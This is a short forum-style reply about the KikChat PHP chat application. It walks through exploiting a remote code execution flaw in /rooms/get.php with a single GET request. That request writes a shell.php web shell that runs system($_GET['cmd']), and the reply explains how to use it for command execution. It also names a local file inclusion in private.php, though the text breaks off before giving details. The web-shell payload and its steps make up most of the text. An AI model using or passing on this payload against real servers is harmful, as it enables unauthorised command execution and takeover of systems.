As it can be seen on the link that you shared:
The vulnerability can directly exploited with simple GET requests therefore elaborated exploits are not required.
There is a RCE on /room/get.php and you need to replicate the following steps in order to create a file called shell.php that will be your web shell:
- Create the file called shell.php. This file will execute the command assigned on the "cmd" GET variable :
http://127.0.0.1/KikChat/rooms/get.php?name=shell.php&ROOM=<?php system($_GET['cmd']); ?>
- Access the file and get command execution using the "cmd" get variable:
There is also a LFI on the /KikChat/private.php page on the name parameter: